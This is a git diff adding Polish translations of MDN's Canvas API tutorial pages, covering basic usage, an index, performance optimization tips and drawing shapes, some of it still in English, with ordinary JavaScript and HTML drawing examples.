rysunkową o stałym rozmiarze zapewniając jeden lub więcej kontekstów renderingu, które są używane do tworzenia i manipulowania wyświetlaną zawartością. W tym tutorialu skupimy się na kontekście dwuwymiarowym (2D). Inne konteksty mogą wykorzystywać odmienne sposoby renderowania, np <a href="/pl/docs/Web/WebGL">WebGL</a> wykorzystuje kontekst trójwymiarowy (3D) bazujący na <a href="https://pl.wikipedia.org/wiki/OpenGL_ES">OpenGL ES</a>.</p> + +<p>Początkowo płótno jest puste, pozbawione tła. Aby coś na nim wyświetlić, skrypt musi posiadać dostęp do kontekstu renderowania a następnie musi coś w nim narysować. Element {{HTMLElement("canvas")}} posiada metodę {{domxref("HTMLCanvasElement.getContext", "getContext()")}} niezbędną, aby uzyskać dostęp do nowego kontekstu renderowania oraz jego funcji rysujących. Metoda <code>getContext()</code> wymaga podania jednego argumentu, który określa typ kontekstu. Dla rysunków dwuwymiarowych, o których mowa w tym tutorialu, argument metody {{domxref("CanvasRenderingContext2D")}} wymaga podania wartości tekstowej "2d".</p> + +<pre class="brush: js">var canvas = document.getElementById('tutorial'); +var ctx = canvas.getContext('2d'); +</pre> + +<p>W pierwszej lini program uzyskuje dostęp do węzła DOM reprezentującego element {{HTMLElement("canvas")}} za pomocą metody {{domxref("document.getElementById()")}}. Posiadając dostęp do węzła DOM, możemy następnie uzyskać dostęp do kontekstu renderowania rysunku za pomocą metody <code>getContext()</code>.</p> + +<div id="section_5"> +<h2 id="Test_zgodności">Test zgodności</h2> + +<p>Treść zastępcza jest wyświetlana w przeglądarce, która nie obsługuje elementu {{HTMLElement("canvas")}}. Również z poziomu skryptu możemy sprawdzić czy przeglądarka wspiera znacznik <code>canvas</code>. W tym celu posługujemy się metodą <code>getContext()</code>. Oto przykład:</p> + +<pre class="brush: js">var canvas = document.getElementById('tutorial'); + +if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + // drawing code here +} else { + // canvas-unsupported code here +} +</pre> + +<p>Przeglądarka, która nie wspiera znacznika <code>canvas</code>, nie rozpoznaje również metody <code>getContext()</code>. W takim wypadku wyrażenie <code>canvas.getContext</code> zwróci logiczną wartość <code>false</code>.</p> +</div> +</div> + +<h2 id="Szkielet_szablonu"> Szkielet szablonu</h2> + +<p>Poniżej znajduje się szablon dokumentu HTML, którego będziemy używać jako podstawy w kolejnych przykładach ilustrujących <code>canvas</code>.</p> + +<div class="note"> +<p><strong>Uwaga:</strong> podczas produkcji stron internetowych warto umieszczać skrypty oraz arkusze stylów w osobnych plikach dla lepszej organizacji kodu. W tym tutorialu przykładowe skrypty będziemy jednak osadzać wewnątrz kodu HTML, tak aby cały przykład był zwięzły oraz w pełni funcjonalny.</p> +</div> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"/> + <title>Canvas tutorial</title> + <script type="text/javascript"> + function draw() { + var canvas = document.getElementById('tutorial'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + } + } + </script> + <style type="text/css"> + canvas { border: 1px solid black; } + </style> + </head> + <body onload="draw();"> + <canvas id="tutorial" width="150" height="150"></canvas> + </body> +</html> +</pre> + +<p>Skrypt zawiera funckcję <code>draw()</code>, która jest wykonywana po załadowaniu strony; uczyniliśmy to za pomocą obserwatora zdarzenia {{event("load")}} dokumentu HTML. Funkcja taka może być również wywołana za pomocą metody {{domxref("WindowTimers.setTimeout", "window.setTimeout()")}}, {{domxref("WindowTimers.setInterval", "window.setInterval()")}} lub jeszcze innej, która obsługuje zdarzenia, po tym jak strona zostanie załadowana.</p> + +<p>Oto jak szablon wygląda w akcji. Jak widać, początkowo jest on pusty.</p> + +<p>{{EmbedLiveSample("A_skeleton_template", 160, 160)}}</p> + +<h2 id="Prosty_przykład">Prosty przykład</h2> + +<p>Na razie spójrzmy na poniższy przykład, zawierający rysunek dwóch przecinających się kwadratów, z których jeden jest przezroczysty. Szczegóły działania poszczególnych elementów kodu poznamy w dalszej części tego tutorialu.</p> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"/> + <script type="application/javascript"> + function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + + ctx.fillStyle = 'rgb(200, 0, 0)'; + ctx.fillRect(10, 10, 50, 50); + + ctx.fillStyle = 'rgba(0, 0, 200, 0.5)'; + ctx.fillRect(30, 30, 50, 50); + } + } + </script> + </head> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> + +<p>Przykład wygląda następująco:</p> + +<p>{{EmbedLiveSample("A_simple_example", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p> + +<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p> diff --git a/files/pl/web/api/canvas_api/tutorial/index.html b/files/pl/web/api/canvas_api/tutorial/index.html new file mode 100644 index 0000000000..a8b41b4ca9 --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/index.html @@ -0,0 +1,60 @@ +--- +title: Rysowanie grafiki z elementem canvas +slug: Web/API/Canvas_API/Tutorial +tags: + - Grafika + - HTML + - HTML5 + - Internet + - Kanwa + - Poradnik + - instrukcja +translation_of: Web/API/Canvas_API/Tutorial +--- +<div>{{CanvasSidebar}}</div> + +<div><a href="/en-US/docs/HTML/Canvas" title="HTML/Canvas"><img alt="" src="https://mdn.mozillademos.org/files/257/Canvas_tut_examples.jpg" style="float: right; height: 450px; width: 200px;"></a></div> + +<div class="summary"> +<p><a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><strong><code><canvas></code></strong></a> jest elementem <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a>, który może być użyty do rysowania grafik używając skryptów (często <a href="https://developer.mozilla.org/pl/docs/Glossary/JavaScript" title="JavaScript">JavaScript</a>'u). To może zostać użyte do na przykład rysowania wykresów, tworzenia kompozycji zdjęcia lub prostych (i <a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">i nie prostych</a>) animacji. Obrazy na tej strone pokazują przykłady implementacji <strong><code><a href="/en-US/docs/Web/HTML/Element/canvas" title="HTML/Canvas"><canvas></a></code></strong>, które będą stworzone w tym poradniku.</p> +</div> + +<p><span class="seoSummary">Ten poradnik opisuje jak używać elementu <code><canvas></code> do rysowania grafik 2D, rozpoczynając od podstaw. Zawarte przykłady powinny dać Ci kilka czystych pomysłów co możesz zrobić z kanwą i zapewnią przykłady kodu, które mogą ci pomóc w budowaniu własnej zawartości.</span></p> + +<p>Wprowadzono ją jako pierwszą w WebKit przez Apple dla OS X Dashboard, <code><canvas></code> od tego momentu została wprowadzona do przeglądarek. Dziś wszystkie poważne przeglądarki wspierają kanwę.</p> + +<h2 id="Before_you_start" name="Before_you_start">Zanim zaczniesz</h2> + +<p>Używanie elementu <code><canvas></code> nie jest trudne, ale potrzebujesz podstawowego zrozumienia <a href="/en-US/docs/Web/HTML" title="HTML">HTML</a> i <a href="/en-US/docs/Web/JavaScript" title="JavaScript">JavaScript</a>. Element <code><canvas></code> nie jest wspierany w kilku starszych przeglądarkach, ale ma wsparcie ze strony nowych wersji poważnych przeglądarek. Domyślnym rozmiarem kanwy jest 300 px × 150 px (szerokość × wysokość). Ale własne rozmiary mogą zostać zdefiniowane za pomocą własności HTML <code>height</code> i <code>width</code>. W celu narysowania grafik na kanwie używamy obiektu kontekstu w JavaScript, który tworzy grafiki w locie.</p> + +<h2 id="In_this_tutorial" name="In_this_tutorial">W tym poradniku</h2> + +<ul> + <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/Basic_usage">Podstawowe użycie</a></li> + <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow" title="Canvas_tutorial/Drawing_shapes">Rysowanie figur</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors" title="Canvas_tutorial/Applying_styles_and_colors">Dodawanie styli i kolorów</a></li> + <li><a href="/pl/docs/Rysowanie_tekstu_przy_użyciu_canvas">Rysowanie tekstu</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Using_images" title="Canvas_tutorial/Using_images">Używanie obrazków</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations" title="Canvas_tutorial/Transformations">Przekształcenia</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing" title="Canvas_tutorial/Compositing">Compositing and clipping</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Basic_animations">Podstwowe animacje</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Advanced_animations">Zaawansowane animacje</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas">Manipulacja pikselami</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">Hitowe regiony i dostępność</a></li> + <li><a href="/pl/docs/Web/API/Canvas_API/Tutorial/Optymalizacja_canvas">Optymizacja kanwy</a></li> + <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Finale">Koniec</a></li> +</ul> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li><a href="/pl/docs/Web/HTML/Canvas" title="HTML/Canvas">Strona tematów kanwy</a></li> + <li><a class="external" href="http://visitmix.com/labs/ai2canvas/" title="http://visitmix.com/labs/ai2canvas/">Wtyczka Canvas do Adobe Illustrator'a</a></li> + <li><a class="external" href="http://www.html5canvastutorials.com/" title="http://www.html5canvastutorials.com/">HTML5CanvasTutorials</a></li> +</ul> + +<h2 id="Notka_dla_współtwórców">Notka dla współtwórców</h2> + +<p>Z powodu niefortunnego błędu technicznego, który miał miejsce 17 Czerwca 2013, straciliśmy historię tego poradnika, wliczając w to także atrybucje do wszystkich współtwórców do zawartości tego. Przepraszamy za to i mamy nadzieję, że wybaczycie nam tą niefortunną wpadkę.</p> + +<div>{{ Next("Web/API/Canvas_API/Tutorial/Basic_usage") }}</div> diff --git a/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html b/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html new file mode 100644 index 0000000000..68efe0225f --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/optymalizacja_canvas/index.html @@ -0,0 +1,119 @@ +--- +title: Optymalizacja elementu canvas +slug: Web/API/Canvas_API/Tutorial/Optymalizacja_canvas +tags: + - Canvas + - Grafika + - HTML + - HTML5 + - Poradnik + - Tutorial + - zaawansowany +translation_of: Web/API/Canvas_API/Tutorial/Optimizing_canvas +--- +<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</div> + +<div class="summary"> +<p>{{HTMLElement("canvas")}} to jeden z najczęściej używanych standardów do renderowania grafiki 2D w przeglądarce. Zazwyczaj stosuje się go do tworzenia gier i skomplikowanych wizualizacji, które nierzadko starają się wycinąć z <span class="st">„</span>płótna" maksimum jego możliwości. Niestety, równie często prowadzi to do spadków wydajności. <span class="seoSummary">W tym artykule przygotowaliśmy dla was kilka wskazówek jak zoptymalizować element canvas, aby poprawić działanie waszych stron i aplikacji.</span></p> +</div> + +<h2 id="Wskazówki_dot._wydajności">Wskazówki dot. wydajności</h2> + +<p>Poniżej znajdziecie kilka rozwiązań, które poprawią wydajność elementu canvas:</p> + +<h3 id="Pre-renderuj_proste_lub_powtażające_się_obiekty_na_dodatkowym_canvasie_poza_ekranem">Pre-renderuj proste lub powtażające się obiekty na dodatkowym canvasie poza ekranem</h3> + +<p>Jeśli w każdej klatce rysujesz wiele podobnych obiektów, stwórz niewyświetlany, roboczy canvas, narysuj na nim swój element raz (lub za każdym razem gdy ulega zmianom), a następnie wykorzystaj render w głównym canvasie.</p> + +<pre class="brush: js">obiekt.canvasRoboczy = document.createElement('canvas'); +obiekt.canvasRoboczy.width = obiekt.width; +obiekt.canvasRoboczy.height = obiekt.height; +obiekt.canvasRoboczy = obiekt.canvasRoboczy.getContext('2d'); + +obiekt.render(obiekt.offscreenContext); +</pre> + +<h3 id="Staraj_się_używać_liczb_całkowitch_do_koordynatów">Staraj się używać liczb całkowitch do koordynatów</h3> + +<p>Renderowanie między pikselami zachodzi, gdy rysujesz obiekt używając niepełnych wartości.</p> + +<pre class="brush: js">ctx.drawImage(myImage, 0.3, 0.5); +</pre> + +<p>Ta praktyka zmusza przeglądarkę do wykonania dodatkowych obliczeń, by wytworzyć efekt anty-aliasingu. Żeby temu zapobiec, zaokrąglij koordynaty, na przykład przy użyciu {{jsxref("Math.floor()")}}.</p> + +<h3 id="Nie_skaluj_obrazów_za_pomocą_drawImage">Nie skaluj obrazów za pomocą <code>drawImage</code></h3> + +<p>Posłuż się canvasem poza ekranem, renderując swój obrazek w kilku różnych rozmiarach podczas ładowania, zamiast renderować go w każdej klatce.</p> + +<h3 id="Używaj_wielu_warstw_w_skomplikowanych_scenach">Używaj wielu warstw w skomplikowanych scenach</h3> + +<p>Tak jak niektóre elementy nieustannie są w ruchu, inne (jak np. UI) nigdy nie zmieniają położenia. Dobrym sposobem na optymalizację w tej sytuacji jest zastosowanie warstw przy użyciu kilku canvasów roboczych.</p> + +<p>Przykładowo, możesz stworzyć warstwę dla interfejsu rysowaną nad innymi, która aktualizuje się tylko w momentach, gdy jest używana. Oprócz tego, możesz przenaczyć jedną warstwę na pierwszy plan, gdzie umieścisz wszystkie elementy, które odnawiane są często oraz jedną warstwę na tło, na której obiekty aktualizowane są bardzo rzadko.</p> + +<pre class="brush: html"><div id="scena"> + <canvas id="warstwaUi" width="480" height="320"></canvas> + <canvas id="warstwaGry" width="480" height="320"></canvas> + <canvas id="warstwaTla" width="480" height="320"></canvas> +</div> + +<style> + #scena { + width: 480px; + height: 320px; + position: relative; + border: 2px solid black + } + canvas { position: absolute; } + #warstwaUI { z-index: 3 } + #warstwaGry { z-index: 2 } + #warstwaTla { z-index: 1 } +</style> +</pre> + +<h3 id="Użyj_CSS_dla_dużych_obrazów_w_tle">Użyj CSS dla dużych obrazów w tle</h3> + +<p>Jeśli twoja gra, jak większość, posiada statyczne tło, stwórz element {{HTMLElement("div")}} z własnością CSS {{cssxref("background")}} , który umieścisz pod canvasem. Dzięki temu unikniesz rysowania dużego obrazu w każdej klatce z osobna.</p> + +<h3 id="Skaluj_canvas_za_pomocą_CSS">Skaluj canvas za pomocą CSS</h3> + +<p><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transforms">Transformacje CSS</a> są szybsze dzięki wykorzystaniu karty graficznej. Powiększanie canvasu działa szybciej niż jego pomniejszanie. Dla Firefox OS ustaw 480 x 320 px.</p> + +<pre class="brush: js">var scaleX = window.innerWidth / canvas.width; +var scaleY = window.innerHeight / canvas.height; + +var scaleToFit = Math.min(scaleX, scaleY); +var scaleToCover = Math.max(scaleX, scaleY); + +stage.style.transformOrigin = '0 0'; //scale from top left +stage.style.transform = 'scale(' + scaleToFit + ')'; +</pre> + +<h3 id="Wyłącz_przezroczystość">Wyłącz przezroczystość</h3> + +<p>Jeśli twoja gra korzysta z canvasu i nie ma potrzeby, by był on przezroczysty, ustaw wartość <code>alpha</code> na <code>false</code> podczas tworzenia kontekstu: <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTMLCanvasElement/getContext" title="The HTMLCanvasElement.getContext() method returns a drawing context on the canvas, or null if the context identifier is not supported."><code>HTMLCanvasElement.getContext()</code></a>. To powinno poprawić wydajność.</p> + +<pre class="brush: js">var ctx = canvas.getContext('2d', { alpha: false });</pre> + +<h3 id="Pozostałe_wskazówki">Pozostałe wskazówki</h3> + +<ul> + <li>Ujednolić wywołania canvasu (przykładowo, narysuj linię łamaną zamiast kilku osobnych linii).</li> + <li>Unikaj niepotrzebnych zmian stanu canvasu.</li> + <li>Renderuj tylko fragmenty, które uległy zmianie, zamiast całej, nowej klatki.</li> + <li>Unikaj {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}} kiedy to możliwe.</li> + <li>Unikaj wyświetlania tekstu, kiedy to możliwe.</li> + <li>Wykorzystuj różne sposoby na wyczyszczenie canvasu: ({{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}, {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} lub zmiana rozmiaru canvasu).</li> + <li>Do tworzenie animacji skorzystaj z {{domxref("window.requestAnimationFrame()")}} zamiast {{domxref("window.setInterval()")}} .</li> + <li>Ostrożnie używaj dużych bibliotek do obliczania fizyki.</li> +</ul> + +<h2 id="Zobacz_również">Zobacz również:</h2> + +<ul> + <li><a href="http://www.html5rocks.com/en/tutorials/canvas/performance/#toc-ref">Poprawa wydajności Canvas HTML5 – HTML5 </a></li> + <li><a href="https://hacks.mozilla.org/2013/05/optimizing-your-javascript-game-for-firefox-os/">Optymalizacja skryptów JavaScript na Firefox OS – Mozilla Hacks</a></li> +</ul> + +<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility", "Web/API/Canvas_API/Tutorial/Finale")}}</p> diff --git a/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html b/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html new file mode 100644 index 0000000000..08c589844b --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/rysowanie_ksztaltow/index.html @@ -0,0 +1,571 @@ +--- +title: Rysowanie kształtów w canvas +slug: Web/API/Canvas_API/Tutorial/rysowanie_ksztaltow +translation_of: Web/API/Canvas_API/Tutorial/Drawing_shapes +--- +<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}</div> + +<div class="summary"> +<p>Ok, <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Basic_usage">stworzyliśmy nasze środowisko canvas</a> i teraz możemy poznać tajniki tworzenia grafiki za pomocą canvas. W tym rozdziale nauczysz się rysować prostokąty, trójkąty, linie, łuki oraz krzywe - czyli podstawowe kształty.</p> +</div> + +<h2 id="Siatka">Siatka</h2> + +<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="float: right; height: 220px; width: 220px;">Nim zaczniemy rysować, poznajmy najpierw siatkę czyli <strong>układ współrzędnych</strong> canvas. Szablon dokumentu z poprzedniego rozdziału zawiera element canvas o rozmiarach 150 na 150 (pikseli). Ilustracja po prawej ukazuje standardową siatkę naszego płótna. Domyślnie jedna jednostka odległości na siatce odpowiada wielkości jednego piksela na płótnie. Wartości siatki liczone są od lewego górnego rogu układu współrzędnych (x,y). W dalszej części dowiesz się, jak zamienić pozycję, tak by początek układu współrzędnych znajdował się gdzie indziej, jak go obrócić a nawet przeskalować. Na razie jednak użyjemy ustawień domyślnych. </p> + +<h2 id="Rysowanie_prostokątów">Rysowanie prostokątów</h2> + +<p>W przeciwieństwie do {{Glossary("SVG")}}, {{HTMLElement("canvas")}} na razie wspiera jedynie tworzenie prostokątów. Pozostałe figury geometryczne musimy stworzyć za pomocą ścieżek. Na szczęście mamy do dyspozycji zestaw funkcji za pomocą których jesteśmy w stanie stworzyć figury o dowolnej złożoności.</p> + +<p>Najpierw przyjrzyjmy się prostokątowi. Istnieją trzy funkcje rysujące prostokąt:</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.fillRect", "fillRect(x, y, width, height)")}}</dt> + <dd>Rysuje pole prostokąta.</dd> + <dt>{{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect(x, y, width, height)")}}</dt> + <dd>Rysuje obwód prostokąta.</dd> + <dt>{{domxref("CanvasRenderingContext2D.clearRect", "clearRect(x, y, width, height)")}}</dt> + <dd>Wymazuje prostokątny obszar, w wyniku czego staje się on całkiem przezroczysty. Działą to jak gumka w formie prostokąta.</dd> +</dl> + +<p>Każda z tych funkcji posiada jednakowe parametry. <code>x</code> i <code>y</code> to współrzędne na siatce - wyznaczają one pozycje lewego górnego rogu prostokąta. A <code>width</code> oraz <code>height</code> określają jego rozmiar.</p> + +<p>Poniżej znajduje się funkcja<code>draw()</code> z poprzedniej strony, tutaj wzbogacona o trzy metody tworzenia prostokątów.</p> + +<h3 id="Rectangular_shape_example">Rectangular shape example</h3> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext) { + var ctx = canvas.getContext('2d'); + + ctx.fillRect(25,25,100,100); + ctx.clearRect(45,45,60,60); + ctx.strokeRect(50,50,50,50); + } +}</pre> + +<p>Oto wynik działania tego skryptu:</p> + +<p>{{EmbedLiveSample("Rectangular_shape_example", 160, 160, "https://mdn.mozillademos.org/files/245/Canvas_rect.png")}}</p> + +<p>Funkcja <code>fillRect()</code> rysuje czarny kwadrat o boku 100 pikseli. Funkcja <code>clearRect()</code> wymazuje kwadratowy obszar o boku 60 pikseli pośrodku czarnego prostokąta, a następnie wywołanie funkcji <code>strokeRect()</code> tworzy obrys kratdatu o boku 50 pikseli również w centrum poprzedniej figury.</p> + +<p>W kolejnych rozdziałąch poznasz dwie inne *metody dla <code>clearReact()</code>, oraz zobaczysz jak zmienić kolor oraz styl obrysu renderowanych kształtów.</p> + +<p>W przeciwieńśtwie do funkcji tworzących ścieżki o czym przekonasz się później, wszystkie trzy funkcje tworzące prostokąt rysują kształ natychmiast po ich wywołaniu.</p> + +<h2 id="Rysowanie_ścieżek">Rysowanie ścieżek</h2> + +<p>Drugim zarazem ostatnim podstawowym kształetem jest <em>cieżka</em>. Ścieżka złożona jest z punktów połączonych liniami prostymi lub krzywymi, o różnej grubości i o różnym kolorze. Ścieżka, a nawet jej fragment może być zamknięta. Aby utworzyć kształt za pomocą ścieżki wykonaj następujące kroki:</p> + +<ol> + <li>utwórz ścieżkę,</li> + <li>użyj <a href="/pl/docs/Web/API/CanvasRenderingContext2D#Paths">komend rysujących</a> aby rysować ścieżkę,</li> + <li>zamknij ścieżkę.</li> + <li>Po utworzeniu ścieżki możesz ją obrysować lub wypełnić, i dopiero wtedy ukaże się ona w canvasie.</li> +</ol> + +<p>Oto funkcje potrzebne do wykonania tego zadania:</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}</dt> + <dd>Tworzy nową ścieżkę. Po jej utworzeniu, wszelkie kolejne funkcce rysujące będą się do niej odwoływały oraz kontynuowały jej rysunek.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Paths">Path methods</a></dt> + <dd>Metoda do ustalania innych ścieżek dla obiektów.</dd> + <dt>{{domxref("CanvasRenderingContext2D.closePath", "closePath()")}}</dt> + <dd>Zamyka ścieżkę aby przyszłe polecenia rysowania, były kierowane ponownie do kontekstu(ctx).</dd> + <dt>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}</dt> + <dd>Rysuje kształ poprzez odrysowanie konturu.</dd> + <dt>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}</dt> + <dd>Rysuje kształ poprzez wypełnienie ścieżek wyznaczonego obszaru kontekstowego.</dd> +</dl> + +<p>The first step to create a path is to call the <code>beginPath()</code>. Internally, paths are stored as a list of sub-paths (lines, arcs, etc) which together form a shape. Every time this method is called, the list is reset and we can start drawing new shapes.</p> + +<div class="note"><strong>Note:</strong> When the current path is empty, such as immediately after calling <code>beginPath()</code>, or on a newly created canvas, the first path construction command is always treated as a <code>moveTo()</code>, regardless of what it actually is. For that reason, you will almost always want to specifically set your starting position after resetting a path.</div> + +<p>The second step is calling the methods that actually specify the paths to be drawn. We'll see these shortly.</p> + +<p>The third, and an optional step, is to call <code>closePath()</code>. This method tries to close the shape by drawing a straight line from the current point to the start. If the shape has already been closed or there's only one point in the list, this function does nothing.</p> + +<div class="note"><strong>Note:</strong> When you call <code>fill()</code>, any open shapes are closed automatically, so you don't have to call <code>closePath()</code>. This is <strong>not</strong> the case when you call <code>stroke()</code>.</div> + +<h3 id="Drawing_a_triangle">Drawing a triangle</h3> + +<p>For example, the code for drawing a triangle would look something like this:</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="100" height="100"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + ctx.beginPath(); + ctx.moveTo(75,50); + ctx.lineTo(100,75); + ctx.lineTo(100,25); + ctx.fill(); + } +} +</pre> + +<p>The result looks like this:</p> + +<p>{{EmbedLiveSample("Drawing_a_triangle", 110, 110, "https://mdn.mozillademos.org/files/9847/triangle.png")}}</p> + +<h3 id="Moving_the_pen">Moving the pen</h3> + +<p>One very useful function, which doesn't actually draw anything but becomes part of the path list described above, is the <code>moveTo()</code> function. You can probably best think of this as lifting a pen or pencil from one spot on a piece of paper and placing it on the next.</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo(x, y)")}}</dt> + <dd>Moves the pen to the coordinates specified by <code>x</code> and <code>y</code>.</dd> +</dl> + +<p>When the canvas is initialized or <code>beginPath()</code> is called, you typically will want to use the <code>moveTo()</code> function to place the starting point somewhere else. We could also use <code>moveTo()</code> to draw unconnected paths. Take a look at the smiley face below.</p> + +<p>To try this for yourself, you can use the code snippet below. Just paste it into the <code>draw()</code> function we saw earlier.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight:[8,10,12]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + ctx.beginPath(); + ctx.arc(75,75,50,0,Math.PI*2,true); // Outer circle + ctx.moveTo(110,75); + ctx.arc(75,75,35,0,Math.PI,false); // Mouth (clockwise) + ctx.moveTo(65,65); + ctx.arc(60,65,5,0,Math.PI*2,true); // Left eye + ctx.moveTo(95,65); + ctx.arc(90,65,5,0,Math.PI*2,true); // Right eye + ctx.stroke(); + } +} +</pre> + +<p>The result looks like this:</p> + +<p>{{EmbedLiveSample("Moving_the_pen", 160, 160, "https://mdn.mozillademos.org/files/252/Canvas_smiley.png")}}</p> + +<p>If you'd like to see the connecting lines, you can remove the lines that call <code>moveTo()</code>.</p> + +<div class="note"> +<p><strong>Note:</strong> To learn more about the <code>arc()</code> function, see the {{anch("Arcs")}} below.</p> +</div> + +<h3 id="Lines">Lines</h3> + +<p>For drawing straight lines, use the <code>lineTo()</code> method.</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.lineTo", "lineTo(x, y)")}}</dt> + <dd>Draws a line from the current drawing position to the position specified by <code>x</code> and <code>y</code>.</dd> +</dl> + +<p>This method takes two arguments, <code>x</code> and <code>y</code>, which are the coordinates of the line's end point. The starting point is dependent on previously drawn paths, where the end point of the previous path is the starting point for the following, etc. The starting point can also be changed by using the <code>moveTo()</code> method.</p> + +<p>The example below draws two triangles, one filled and one outlined.</p> + +<div class="hidden"> +<pre class="brush: html"><html> + <body onload="draw();"> + <canvas id="canvas" width="150" height="150"></canvas> + </body> +</html> +</pre> +</div> + +<pre class="brush: js;highlight[9,10,16,17]">function draw() { + var canvas = document.getElementById('canvas'); + if (canvas.getContext){ + var ctx = canvas.getContext('2d'); + + // Filled triangle + ctx.beginPath(); + ctx.moveTo(25,25); + ctx.lineTo(105,25); + ctx.lineTo(25,105); + ctx.fill(); + + // Stroked triangle + ctx.beginPath(); + ctx.moveTo(125,125); + ctx.lineTo(125,45); + ctx.lineTo(45,125); + ctx.closePath(); + ctx.stroke(); + } +} +</pre> + +<p>This starts by calling <code>beginPath()</code> to start a new shape path. We then use the <code>moveTo()</code> method to move the starting point to the desired position. Below this, two lines are drawn which make up two sides of the triangle.</p> + +<p>{{EmbedLiveSample("Lines", 160, 160, "https://mdn.mozillademos.org/files/238/Canvas_lineTo.png")}}</p> + +<p>You'll notice the difference between the filled and stroked triangle. This is, as mentioned above, because shapes are automatically closed when a path is filled, but not when they are stroked. If we left out the <code>closePath()</code> for the stroked triangle, only two lines would have been drawn, not a complete triangle.</p> + +<h3 id="Arcs">Arcs</h3> + +<p>To draw arcs or circles, we use the <code>arc()</code> or <code>arcTo()</code> methods.</p> + +<dl> + <dt>{{domxref("CanvasRenderingContext2D.arc", "arc(x, y, radius, startAngle, endAngle, anticlockwise)")}}</dt> + <dd>Draws an arc which is centered at <em>(x, y)</em> position with radius<em> r</em> starting at <em>startAngle</em> and ending at <em>endAngle</em> going in the given direction indicated by <em>anticlockwise</em> (defaulting to clockwise).</dd> + <dt>{{domxref("CanvasRenderingContext2D.arcTo", "arcTo(x1, y1, x2, y2, radius)")}}</dt> + <dd>Draws an arc with the given control points and radius, connected to the previous point by a straight line.</dd> +</dl> + +<p>Let's have a more detailed look at the <code>arc</code> method, which takes six parameters: <code>x</code> and <code>y</code> are the coordinates of the center of the circle on which the arc should be drawn. <code>radius</code> is self-explanatory. The <code>startAngle</code> and <code>endAngle</code> parameters define the start and end points of the arc in radians, along the curve of the circle. These are measured from the x axis. The <code>anticlockwise</code> parameter is a Boolean value which, when <code>true</code>, draws the arc anticlockwise; otherwise, the arc is drawn clockwise.</p> + +<div class="note"> +<p><strong>Note</strong>: Angles in the <code>arc</code> function are measured in radians, not degrees. To convert degrees to radians you can use the following JavaScript expression: <code>radians = (Math.PI/180)*degrees</code>.</p> +</div> + +<p>The following example is a little more complex than the ones we've seen above. It draws 12 different arcs all with different angles and fills.</p> + 